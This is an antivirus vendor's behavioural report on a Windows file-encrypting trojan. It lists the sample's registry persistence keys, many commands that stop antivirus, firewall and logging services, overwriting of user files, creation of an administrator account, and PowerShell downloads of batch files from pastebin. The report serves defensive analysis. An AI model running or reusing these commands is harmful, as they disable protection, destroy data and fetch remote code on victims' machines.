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Trojan.Encoder.35427

Added to the Dr.Web virus database: 2022-06-05

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'rundll32_10574_toolbar' = '%TEMP%\cmd.bat'
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'AVAADA' = '%WINDIR%\.bat'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
Executes the following
  • '<SYSTEM32>\net.exe' stop "WinDefend"
  • '<SYSTEM32>\net.exe' stop "*Symantec*" /y
  • '<SYSTEM32>\net.exe' stop "*McAfee*" /y
  • '<SYSTEM32>\net.exe' stop ccPwdSvc /y
  • '<SYSTEM32>\net.exe' stop "Serv-U" /y
  • '<SYSTEM32>\net.exe' stop "norton AntiVirus Client" /y
  • '<SYSTEM32>\net.exe' stop "Symantec AntiVirus Client" /y
  • '<SYSTEM32>\net.exe' stop "norton AntiVirus Server" /y
  • '<SYSTEM32>\net.exe' stop "NAV Alert" /y
  • '<SYSTEM32>\net.exe' stop "Nav Auto-Protect" /y
  • '<SYSTEM32>\net.exe' stop "McShield" /y
  • '<SYSTEM32>\net.exe' stop "DefWatch" /y
  • '<SYSTEM32>\net.exe' stop eventlog /y
  • '<SYSTEM32>\net.exe' stop InoRPC /y
  • '<SYSTEM32>\net.exe' stop "Symantec SPBBCSvc" /y
  • '<SYSTEM32>\net.exe' stop InoRT /y
  • '<SYSTEM32>\net.exe' stop "norton AntiVirus Corporate Edition" /y
  • '<SYSTEM32>\net.exe' stop "ViRobot Professional Monitoring" /y
  • '<SYSTEM32>\net.exe' stop "PC-cillin Personal Firewall" /y
  • '<SYSTEM32>\net.exe' stop "Trend Micro Proxy Service" /y
  • '<SYSTEM32>\net.exe' stop "Trend NT Realtime Service" /y
  • '<SYSTEM32>\net.exe' stop "McAfee.com McShield" /y
  • '<SYSTEM32>\net.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
  • '<SYSTEM32>\net.exe' stop "SyGateService" /y
  • '<SYSTEM32>\net.exe' stop "Sophos Anti-Virus" /y
  • '<SYSTEM32>\net.exe' stop "Sophos Anti-Virus Network" /y
  • '<SYSTEM32>\net.exe' stop "eTrust Antivirus Job Server" /y
  • '<SYSTEM32>\net.exe' stop "eTrust Antivirus Realtime Server" /y
  • '<SYSTEM32>\net.exe' stop "eTrust Antivirus RPC Server" /y
  • '<SYSTEM32>\net.exe' stop ERSvc /y
  • '<SYSTEM32>\net.exe' stop "*norton*" /y
  • '<SYSTEM32>\net.exe' stop helpsvc /y
  • '<SYSTEM32>\net.exe' stop "McAfeeAntiSpyware" /y
  • '<SYSTEM32>\net.exe' stop mcupdmgr.exe /y
  • '<SYSTEM32>\net.exe' stop "wuauserv"
  • '<SYSTEM32>\net.exe' stop "security center"
  • '<SYSTEM32>\net.exe' stop sharedaccess
  • '<SYSTEM32>\netsh.exe' firewall set opmode mode-disable
  • '<SYSTEM32>\net.exe' stop "Security Center" /y
  • '<SYSTEM32>\net.exe' stop "Automatic Updates" /y
  • '<SYSTEM32>\net.exe' stop "Symantec Core LC" /y
  • '<SYSTEM32>\net.exe' stop "SAVScan" /y
  • '<SYSTEM32>\net.exe' stop "norton AntiVirus Firewall Monitor Service" /y
  • '<SYSTEM32>\net.exe' stop "norton AntiVirus Auto-Protect Service" /y
  • '<SYSTEM32>\net.exe' stop "norton AntiVirus Auto Protect Service" /y
  • '<SYSTEM32>\net.exe' stop "McAfee Spamkiller Server" /y
  • '<SYSTEM32>\net.exe' stop "McAfee Personal Firewall Service" /y
  • '<SYSTEM32>\net.exe' stop netsvcs
  • '<SYSTEM32>\net.exe' stop InoTask /y
  • '<SYSTEM32>\net.exe' stop "McAfee SecurityCenter Update Manager" /y
  • '<SYSTEM32>\net.exe' stop navapsvc /y
  • '<SYSTEM32>\net.exe' stop "Sygate Personal Firewall Pro" /y
  • '<SYSTEM32>\net.exe' stop vrmonsvc /y
  • '<SYSTEM32>\net.exe' stop MonSvcNT /y
  • '<SYSTEM32>\net.exe' stop SAVScan /y
  • '<SYSTEM32>\net.exe' stop NProtectService /y
  • '<SYSTEM32>\net.exe' stop ccSetMGR /y
  • '<SYSTEM32>\net.exe' stop ccEvtMGR /y
  • '<SYSTEM32>\net.exe' stop srservice /y
  • '<SYSTEM32>\net.exe' stop "Symantec Network Drivers Service" /y
  • '<SYSTEM32>\net.exe' stop "norton Unerase Protection" /y
  • '<SYSTEM32>\net.exe' stop MskService /y
  • '<SYSTEM32>\net.exe' stop MpfService /y
  • '<SYSTEM32>\taskkill.exe' /f /t /im "MSASCui.exe"
  • '<SYSTEM32>\net.exe' stop "Ahnlab Task Scheduler" /y
  • '<SYSTEM32>\net.exe' stop spoolnt
Terminates or attempts to terminate
the following user processes:
  • iexplore.exe
Modifies file system
Creates the following files
  • %TEMP%\cmd.bat
  • %HOMEPATH%\noint.bat
  • nul
  • C:\autoexec.bat
  • %HOMEPATH%\desktop\random.txt
  • %HOMEPATH%\documents\random.txt
  • %HOMEPATH%\music\random.txt
  • %HOMEPATH%\pictures\random.txt
  • %HOMEPATH%\videos\random.txt
  • %HOMEPATH%\downloads\random.txt
Sets the 'hidden' attribute to the following files
  • %TEMP%\cmd.bat
Moves the following files
  • from %HOMEPATH%\documents\random.txt to %HOMEPATH%\documents\c0pe-260053259.c0pe
  • from %HOMEPATH%\music\random.txt to %HOMEPATH%\music\c0pe-137215284.c0pe
  • from %HOMEPATH%\pictures\random.txt to %HOMEPATH%\pictures\c0pe-107165994.c0pe
  • from %HOMEPATH%\videos\random.txt to %HOMEPATH%\videos\c0pe-2398725552.c0pe
Modifies the following files
  • %HOMEPATH%\desktop\508softwareandos.doc
  • %HOMEPATH%\desktop\browse.htm
  • %HOMEPATH%\desktop\contoso_1.cer
  • %HOMEPATH%\desktop\dashborder_144.bmp
  • %HOMEPATH%\desktop\icq.lnk
  • %HOMEPATH%\desktop\telegram.lnk
  • %HOMEPATH%\desktop\delete.avi
  • %HOMEPATH%\desktop\dial.bmp
  • %HOMEPATH%\desktop\fi51.doc
  • %HOMEPATH%\desktop\lisp_success.doc
  • %HOMEPATH%\desktop\qip 2012.lnk
  • %HOMEPATH%\desktop\random.txt
  • %HOMEPATH%\desktop\sdszfo.docx
  • %HOMEPATH%\desktop\split.avi
  • %HOMEPATH%\desktop\tree_view.htm
  • %HOMEPATH%\desktop\utorrent.exe
Modifies user data files (Trojan.Encoder).
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Executes the following
  • '<SYSTEM32>\cmd.exe' /c ""%TEMP%\cmd.bat" "
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\february_catalogue__2015.doc
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dial.bmp
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\delete.avi
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_144.bmp
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contoso_1.cer
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\browse.htm
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\508softwareandos.doc
  • '<SYSTEM32>\tskill.exe' WINWORD
  • '<SYSTEM32>\tskill.exe' outlook
  • '<SYSTEM32>\tskill.exe' mspaint
  • '<SYSTEM32>\tskill.exe' safari
  • '<SYSTEM32>\tskill.exe' msaccess
  • '<SYSTEM32>\tskill.exe' calc
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\fi51.doc
  • '<SYSTEM32>\tskill.exe' iTunes
  • '<SYSTEM32>\tskill.exe' msnmsgr
  • '<SYSTEM32>\tskill.exe' iexplore
  • '<SYSTEM32>\net1.exe' stop spoolnt
  • '<SYSTEM32>\net1.exe' stop netsvcs
  • '<SYSTEM32>\net1.exe' stop "eTrust Antivirus RPC Server" /y
  • '<SYSTEM32>\net1.exe' stop "eTrust Antivirus Realtime Server" /y
  • '<SYSTEM32>\net1.exe' stop "eTrust Antivirus Job Server" /y
  • '<SYSTEM32>\net1.exe' stop "Sophos Anti-Virus Network" /y
  • '<SYSTEM32>\net1.exe' stop "Sophos Anti-Virus" /y
  • '<SYSTEM32>\net1.exe' stop "SyGateService" /y
  • '<SYSTEM32>\net1.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
  • '<SYSTEM32>\net1.exe' stop "McAfee.com McShield" /y
  • '<SYSTEM32>\net1.exe' stop "Trend NT Realtime Service" /y
  • '<SYSTEM32>\tskill.exe' excel
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\hadac_newsletter_july_2010_final.docx
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\ICQ.lnk
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\lisp_success.doc
  • '<SYSTEM32>\notepad.exe' %HOMEPATH%\Desktop\ReadMe.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\winamp5666_full_all.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\Thunderbird Setup 31.6.0.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\tcmd851ax64.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\SteamSetup.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\random.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\pidgin-2.10.11.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\Opera_NI_stable.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\mirc741.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\magent_rfrset.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\K-Lite_Codec_Pack_1110_Mega_dlm.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\K-Lite_Codec_Pack_1110_Mega.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\jre-8u45-windows-x64.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\icq_rfrset.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\ChromeSetup.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Videos\random.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Pictures\random.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Music\random.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Documents\random.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\utorrent.exe
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\tree_view.htm
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Total Commander 64 bit.lnk
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Telegram.lnk
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\split.avi
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\sdszfo.docx
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\random.txt
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\QIP 2012.lnk
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\nwfieldnotes1966.docx
  • '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Mail.Ru Agent.lnk
  • '<SYSTEM32>\net1.exe' stop "Trend Micro Proxy Service" /y
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest https://pastebin.com/raw/T9sHxNbG -outfile C0peN0te.bat"
  • '<SYSTEM32>\net1.exe' stop "PC-cillin Personal Firewall" /y
  • '<SYSTEM32>\net1.exe' stop "norton AntiVirus Corporate Edition" /y
  • '<SYSTEM32>\net1.exe' stop "Ahnlab Task Scheduler" /y
  • '<SYSTEM32>\net1.exe' stop "Symantec SPBBCSvc" /y
  • '<SYSTEM32>\net1.exe' stop "McAfee SecurityCenter Update Manager" /y
  • '<SYSTEM32>\net1.exe' stop "McAfee Personal Firewall Service" /y
  • '<SYSTEM32>\net1.exe' stop "McAfee Spamkiller Server" /y
  • '<SYSTEM32>\net1.exe' stop "norton AntiVirus Auto Protect Service" /y
  • '<SYSTEM32>\net1.exe' stop "norton AntiVirus Auto-Protect Service" /y
  • '<SYSTEM32>\net1.exe' stop "norton AntiVirus Firewall Monitor Service" /y
  • '<SYSTEM32>\net1.exe' stop "SAVScan" /y
  • '<SYSTEM32>\net1.exe' stop "Symantec Core LC" /y
  • '<SYSTEM32>\net1.exe' stop "Automatic Updates" /y
  • '<SYSTEM32>\net1.exe' stop "Security Center" /y
  • '<SYSTEM32>\net1.exe' stop sharedaccess
  • '<SYSTEM32>\net1.exe' stop navapsvc /y
  • '<SYSTEM32>\net1.exe' stop "security center"
  • '<SYSTEM32>\rundll32.exe' user32.dll,SetCursorPos
  • '<SYSTEM32>\net1.exe' stop "WinDefend"
  • '<SYSTEM32>\cmd.exe'
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %WINDIR%\.bat /f
  • '<SYSTEM32>\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_10574_toolbar" /t "REG_SZ" /d "%TEMP%\cmd.bat" /f
  • '<SYSTEM32>\scrnsave.scr' /s
  • '<SYSTEM32>\net1.exe' localgroup administrators session /ADD
  • '<SYSTEM32>\net.exe' localgroup administrators session /ADD
  • '<SYSTEM32>\rundll32.exe' USER32.DLL SwapMouseButton
  • '<SYSTEM32>\cmd.exe' /K NoInt.bat
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-ExecutionPolicy Unrestricted"
  • '<SYSTEM32>\attrib.exe' +h +s "%TEMP%\cmd.bat"
  • '<SYSTEM32>\net1.exe' stop "wuauserv"
  • '<SYSTEM32>\net1.exe' stop "Sygate Personal Firewall Pro" /y
  • '<SYSTEM32>\net1.exe' stop vrmonsvc /y
  • '<SYSTEM32>\net1.exe' stop MonSvcNT /y
  • '<SYSTEM32>\net1.exe' stop InoTask /y
  • '<SYSTEM32>\net1.exe' stop InoRT /y
  • '<SYSTEM32>\net1.exe' stop InoRPC /y
  • '<SYSTEM32>\net1.exe' stop eventlog /y
  • '<SYSTEM32>\net1.exe' stop "DefWatch" /y
  • '<SYSTEM32>\net1.exe' stop "McShield" /y
  • '<SYSTEM32>\net1.exe' stop "Nav Auto-Protect" /y
  • '<SYSTEM32>\net1.exe' stop "NAV Alert" /y
  • '<SYSTEM32>\net1.exe' stop "norton AntiVirus Server" /y
  • '<SYSTEM32>\net1.exe' stop "Symantec AntiVirus Client" /y
  • '<SYSTEM32>\net1.exe' stop "norton AntiVirus Client" /y
  • '<SYSTEM32>\net1.exe' stop "Serv-U" /y
  • '<SYSTEM32>\net1.exe' stop ccPwdSvc /y
  • '<SYSTEM32>\net1.exe' stop "*McAfee*" /y
  • '<SYSTEM32>\net1.exe' stop "*Symantec*" /y
  • '<SYSTEM32>\net1.exe' stop "*norton*" /y
  • '<SYSTEM32>\net1.exe' stop ERSvc /y
  • '<SYSTEM32>\net1.exe' stop helpsvc /y
  • '<SYSTEM32>\net1.exe' stop "McAfeeAntiSpyware" /y
  • '<SYSTEM32>\net1.exe' stop mcupdmgr.exe /y
  • '<SYSTEM32>\net1.exe' stop MpfService /y
  • '<SYSTEM32>\net1.exe' stop MskService /y
  • '<SYSTEM32>\net1.exe' stop "norton Unerase Protection" /y
  • '<SYSTEM32>\net1.exe' stop "Symantec Network Drivers Service" /y
  • '<SYSTEM32>\net1.exe' stop srservice /y
  • '<SYSTEM32>\net1.exe' stop ccEvtMGR /y
  • '<SYSTEM32>\net1.exe' stop ccSetMGR /y
  • '<SYSTEM32>\net1.exe' stop NProtectService /y
  • '<SYSTEM32>\net1.exe' stop SAVScan /y
  • '<SYSTEM32>\net1.exe' stop "ViRobot Professional Monitoring" /y
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest https://pastebin.com/raw/mkg30sm4 -outfile G0nnaL0g.bat"

Curing recommendations

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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